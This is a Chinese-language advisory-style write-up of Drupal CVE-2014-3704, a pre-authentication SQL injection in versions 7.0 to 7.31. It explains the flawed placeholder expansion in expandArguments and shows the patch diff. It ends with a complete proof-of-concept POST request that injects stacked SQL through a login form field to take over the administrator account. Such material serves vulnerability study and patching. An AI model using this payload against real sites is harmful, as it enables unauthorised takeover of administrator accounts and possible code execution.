0368-Drupal – pre Auth SQL Injection Vulnerability

# Drupal – pre Auth SQL Injection Vulnerability

0x00 背景
——-

* * *

“`
影响版本：7.0 到 7.31
危害：非登录状态SQL注入，可造成代码执行。
风险：高危
厂商状态：Drupal的7.32修复此漏洞
CVE：CVE-2014-3704

“`

0x01 细节
——-

* * *

Drupal在所有的SQL查询语句当中都是用的预编译来处理。

为了处理IN语句，有一个expandArguments函数来展开数组。

“`
protected function expandArguments(&$query, &$args) {
$modified = FALSE;

// If the placeholder value to insert is an array, assume that we need
// to expand it out into a comma-delimited set of placeholders.
foreach (array_filter($args, ‘is_array’) as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . ‘_’ . $i] = $value;
}

// Update the query with the new placeholders.
// preg_replace is necessary to ensure the replacement does not affect
// placeholders that start with the same exact text. For example, if the
// query contains the placeholders :foo and :foobar, and :foo has an
// array of values, using str_replace would affect both placeholders,
// but using the following preg_replace would only affect :foo because
// it is followed by a non-word character.
$query = preg_replace(‘#’ . $key . ‘b#’, implode(‘, ‘, array_keys($new_keys)), $query);

// Update the args array with the new placeholders.
unset($args[$key]);
$args += $new_keys;

$modified = TRUE;
}

return $modified;
}

“`

该函数假定它被调用时是没有key的。例如：

“`
db_query(“SELECT * FROM {users} where name IN (:name)”, array(‘:name’=>array(‘user1′,’user2’)));

“`

执行的SQL语句为：

“`
SELECT * from users where name IN (:name_0, :name_1)

“`

通过参数传入name_0= user1，name_1=user2。

那么问题来了，如果带入数组当中有key并且不是整数呢。例如：

“`
db_query(“SELECT * FROM {users} where name IN (:name)”, array(‘:name’=>array(‘test — ‘ => ‘user1′,’test’ => ‘user2’)));

“`

执行SQL语句为：

“`
SELECT * FROM users WHERE name = :name_test — , :name_test AND status = 1

“`

参数：name_test=user2。

由于Drupal使用PDO，因此可以多语句查询。所以这个SQL注入向数据库里插入任意数据，下载或者修改存在的数据，甚至drop掉整个数据库。

攻击者可以通过向数据库里插入任意的数据，利用Drupal的特性执行PHP代码。

0x02 修复方案
———

* * *

“`
diff –git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
— a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
// to expand it out into a comma-delimited set of placeholders.
foreach (array_filter($args, ‘is_array’) as $key => $data) {
$new_keys = array();
– foreach ($data as $i => $value) {
+ foreach (array_values($data) as $i => $value) {
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate

“`

0x03 POC
——–

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有人在pastebin上放出了把原来id为1的管理，替换成名字为owned，密码是thanks的管理员。

“`
POST /drupal-7.31/?q=node&destination=node HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/drupal-7.31/
Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231

name[0%20;update+users+set+name%3d’owned’+,+pass+%3d+’$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld’+where+uid+%3d+’1′;;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

“`